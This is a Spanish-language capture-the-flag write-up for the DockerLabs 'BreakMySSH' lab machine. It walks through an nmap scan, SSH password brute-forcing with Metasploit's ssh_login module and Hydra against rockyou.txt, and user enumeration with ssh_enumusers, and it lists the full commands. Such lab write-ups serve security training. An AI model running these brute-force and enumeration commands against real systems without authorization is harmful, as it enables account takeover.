WriteUp de la máquina BreakMySSH
Este WriteUp documenta la solución para la máquina “Breakmyssh” de DockerLabs. A través de varias etapas de reconocimiento, explotación y elevación de privilegios, el objetivo es obtener acceso a la máquina y escalar privilegios para convertirnos en el usuario root.
Resumen:
- Nombre: BreakMySSH
- Dificultad: Facil
- Autor: Romabri
- Sistema Operativo: Linux
- Enlace: DockerLabs
Progreso del WriteUp
Reconocimiento inicial
El primer paso consiste en iniciar la máquina. Esto se puede lograr ejecutando el siguiente comando, una vez que se haya descargado la máquina:
sudo bash auto_deploy.sh breakmyssh.tar
Una vez iniciada la máquina, el script de despliegue me proporciona la dirección IP de la máquina, por lo que procedo a realizar un escaneo de puertos para identificar los servicios disponibles:
nmap 172.17.0.2
El resultado del escaneo de puertos fue:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 17:20 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000017s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 02:42:AC:11:00:02 (Unknown)
Resultado: El escaneo de puertos reveló un servicio importante:
- Puerto 22: Servicio SSH abierto.
Fuerza bruta
Dado que el único puerto abierto era el de SSH, decidí intentar un ataque de fuerza bruta para obtener acceso. Descargué un diccionario de usuarios desde GitHub - hackingyseguridad/diccionarios y utilicé rockyou.txt
como lista de contraseñas.
Utilicé el módulo ssh_login
de Metasploit para realizar el ataque:
msfconsole
use auxiliary/scanner/ssh/ssh_login
Configuré el diccionario de usuarios descargado y el archivo de contraseñas rockyou.txt
:
SET USER_FILE /usr/share/wordlists/users.txt
SET PASS_FILE /usr/share/wordlists/rockyou.txt
SET RHOSTS 172.17.0.2
Luego ejecuté el exploit:
run
Resultado: Después de un rato, Metasploit encontró las credenciales del usuario root
.
[+] 172.17.0.2:22 - Success: 'root:xxxxxxxx'
Usuario lovely
Una vez conectado como root
, exploré el sistema para descubrir si había otros usuarios. Navegué al directorio /home
y encontré un usuario llamado lovely
.
Sabiendo que existía el usuario lovely
, realicé un ataque de fuerza bruta utilizando hydra
para intentar obtener acceso:
hydra -l lovely -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
Resultado: Hydra encontró la contraseña del usuario lovely
rápidamente, permitiéndome conectarme al sistema mediante SSH.
Enumeración de usuarios
Reflexionando sobre el proceso, me di cuenta de que el paso adecuado habría sido primero enumerar los usuarios existentes en el sistema antes de realizar la fuerza bruta. Utilicé el módulo ssh_enumusers
de Metasploit para enumerar los usuarios:
use auxiliary/scanner/ssh/ssh_enumusers
SET RHOSTS 172.17.0.2
SET USER_FILE /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
run
Resultado: El módulo enumeró varios usuarios, incluyendo lovely
, lo cual confirmó mi sospecha inicial.
Aprendizaje
La máquina Breakmyssh demostró la importancia de realizar una buena enumeración antes de proceder con ataques más agresivos como la fuerza bruta. Enumerar usuarios primero puede ahorrar tiempo y ayudar a reducir el ámbito del ataque. Este ejercicio también subraya la importancia de la protección de credenciales mediante contraseñas robustas y la restricción de accesos innecesarios.
Comandos
- Despliegue de la máquina:
sudo bash auto_deploy.sh breakmyssh.tar
- Escaneo de puertos:
nmap 172.17.0.2
- Fuerza bruta SSH con Metasploit:
msfconsole use auxiliary/scanner/ssh/ssh_login SET USER_FILE /usr/share/wordlists/users.txt SET PASS_FILE /usr/share/wordlists/rockyou.txt SET RHOSTS 172.17.0.2 run
- Fuerza bruta SSH para el usuario
lovely
:hydra -l lovely -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
- Enumeración de usuarios con Metasploit:
use auxiliary/scanner/ssh/ssh_enumusers SET RHOSTS 172.17.0.2 SET USER_FILE /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt run